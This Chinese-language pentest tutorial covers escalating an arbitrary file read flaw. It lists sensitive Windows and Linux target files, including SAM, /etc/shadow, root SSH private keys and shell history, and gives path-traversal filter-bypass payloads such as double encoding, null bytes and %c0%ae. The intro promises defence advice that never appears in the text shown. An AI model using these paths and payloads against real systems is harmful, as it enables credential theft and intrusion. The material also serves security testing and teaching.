任意文件读取漏洞后的深入利用姿势
当我们遇到任意文件读取漏洞时,需要思考如何通过这一小点扩大战果,达到最大化利用的目的。本文主要介绍在拿到任意文件读取点后的深入利用姿势,涵盖敏感文件路径、绕过思路、凭证提取及防御建议。
常见读取的敏感文件路径
Windows
C:\boot.ini // 查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml // IIS 配置文件
C:\Windows\repair\sam // 存储系统初次安装的密码
C:\Program Files\mysql\my.ini // MySQL 配置
C:\Program Files\mysql\data\mysql\user.MYD // MySQL root
C:\Windows\php.ini // PHP 配置信息
C:\Windows\my.ini // MySQL 配置信息
Linux
/root/.ssh/authorized_keys // 如需登录到远程主机,需将 id_rsa.pub 内容复制进去
/root/.ssh/id_rsa // SSH 私钥
/root/.ssh/id_rsa.keystore // 记录每个访问计算机用户的公钥
/root/.ssh/known_hosts // OpenSSH 会核对公钥,避免 DNS Hijack 攻击
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf // MySQL 配置文件
/etc/httpd/conf/httpd.conf // Apache 配置文件
/etc/redhat-release // 系统版本
/root/.bash_history // 用户历史命令记录文件
/root/.mysql_history // MySQL 历史命令记录文件
/var/lib/mlocate/mlocate.db // 全文件路径索引
/proc/self/fd/[0-9]* // 文件标识符
/proc/mounts // 记录系统挂载设备
/proc/config.gz // 内核配置文件
/proc/self/cmdline // 当前进程的 cmdline 参数
/proc/sched_debug // 查看当前运行的进程及 PID
/proc/pid/cmdline // 对应 PID 进程的完整命令行
/proc/net/fib_trie // 内网 IP
/proc/self/environ // 环境变量
/proc/self/loginuid // 当前用户
绕过思路
当存在过滤机制时,可以尝试以下绕过方法:
- URL 编码代替:使用
%2F代替/,例如?filename=..%2F..%2Fetc%2Fpasswd。 - 二次编码:使用
%25进行二次编码,例如?filename=..%252F..%252Fetc%2Fpasswd。 - 加入 +:利用空格或特殊字符,例如
?filename=.+./bin/redacted.dll。 - 空字节注入:使用
%00截断路径,例如?filename=./file.php%00.jpg。 - Java 安全模式绕过:使用
%c0%ae代替.,例如?filename=%c0%ae%c0%ae/etc/passwd。 - Fuzzing:对文件名或路径进行模糊测试,寻找未过滤的变体。
Linux 下的常见利用姿势
用户目录下的敏感文件
.bash_history
.zsh_history
.psql_history
.mysql_history
.profile
.bashrc
.gitconfig
.viminfo
任意文件读取 /etc/passwd 可提取用户名,结合历史命令文件(如 ../../root/.bash_history)可发现密码、路径、配置文件路径等敏感信息。若需下载大文件(如日志、war 包),建议使用 wget 而非直接浏览器下载。


